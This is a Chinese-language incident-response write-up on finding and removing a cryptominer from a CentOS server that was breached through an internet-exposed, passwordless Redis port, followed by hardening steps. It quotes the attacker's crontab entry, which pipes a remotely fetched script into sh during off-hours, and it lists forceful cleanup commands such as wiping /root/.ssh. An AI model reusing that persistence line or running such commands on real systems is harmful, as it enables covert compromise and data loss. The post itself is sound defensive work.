案例分享—服务器被植入挖矿程序排查

主机的操作系统是CentOS7，应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的，但是到了晚上7点就突然无法使用了，前台提交秒杀请求后，后端无响应，最终超时退出。

排查过程分析

首先登录服务器，查看整个系统状态。目标服务器是16核32GB，执行top命令发现平均负载在10左右，主要是被一个可疑的minerd进程消耗大量CPU资源，并且这个minerd进程还是由root用户启动的，已经启动了37min25s，当时时间是19:37。接着，又询问客户秒杀系统故障持续时间，客户回复大概半小时左右。

搜索关键字minerd发现这个一个挖矿程序，“挖矿”的本质是使用计算机解决一项复杂的数学问题，特定算法会消耗大量CPU资源，导致系统卡顿。

既然找到了问题，接下来就捋清思路解决问题：

1. 清理挖矿程序。
2. 排查挖矿程序的植入原因。
3. 修复漏洞，安全加固。

清理挖矿程序

通过top找到minerd的进程号13343，根据进程号，查询产生进程的程序路径 。

#查询PID对应的可执行文件路径
ls -al /proc/13343/exe

上面命令的执行结果为/var/tmp/minerd，接下来执行kill -9 13343 杀死进程，并执行rm -rf /var/tmp/minerd清理挖矿程序。

再次执行top发现minerd进程已经不在，且平均负载已经下降，说明问题已经初步解决，但是一般植入挖矿程序都会修改crontab，检查/var/spool/cron/root发现如下计划任务：

*/5 19-23,0-7 * * * curl -fsSL https://*****/api/report?pm=*** | sh

可以看出，这个计划任务避开工作时间偷偷挖矿，具有一定隐蔽性。这也印证了客户提的晚上七点开始系统出现故障。 rm -rf /var/spool/cron/root删除计划任务即可。

排查挖矿程序植入原因

通过netstat -tnpl查看到Redis的6380端口监听在0.0.0.0上，这属于高风险操作。接着，通过iptables -nL发现INPUT链有一条关于6380端口的开放规则：

ACCEPT  tcp  --  0.0.0.0/0  0.0.0.0/0  tcp dpt:6380

这条规则使Redis对全网开放，且在外网可以使用redis-cli -h xx.xx.xx.xx -p 6380无密码远程登录Redis。黑客很有可能利用Redis漏洞，同通过反弹Shell注入crontab来植入挖矿程序。

询问客户为何开放6380端口。客户回忆说，因为开发人员要在家办公，需要远程连接Redis，所以要开放6380端口，开发人员处理完问题，运维人员忘记关闭端口，就导致了这次事故的发生。

对于线上服务器，是不能随意开放端口的，虽然问题体现在端口开放上，但本质是开发和运维的协作机制问题，如果加强沟通，肯定会避免此类问题。

修复漏洞，安全加固

1. 设置防火墙，禁止外网访问Redis：

   iptables -D INPUT -p tcp -m tcp --dport=6380 -j ACCEPT

2. 以低权限运行Redis服务。

3. 修改Redis默认端口，6379、6380、6381都是Redis常用的端口，建议修改成不易被识别的端口。

4. 给Redis添加密码验证，修改redis.conf，添加requirepass 密码。重启Redis生效。

5. 清空密钥认证文件，rm -rf /root/.ssh/*。

6. 修复sshd配置文件/etc/ssh/sshd_config，可以检查修改了那些配置项，也可以从正常的系统复制一个sshd_config过来。重启sshd生效。

7. authorized_keys存储着本地系统允许远程SSH无密码登录大的账号信息。默认情况下此文件权限为600可以正常工作，为了安全起见可以将authorized_keys的权限设置为只读、其他用户无权限，且无法修改此文件的权限，即：

   chmod 400 ~/.ssh/authorized_keys
   chattr +i ~/.ssh/authorized_keys

8. 检查/etc/rc.local、/etc/init.d下是否有可疑内容。

---

欢迎大家关注我，更多Linux干货等着你！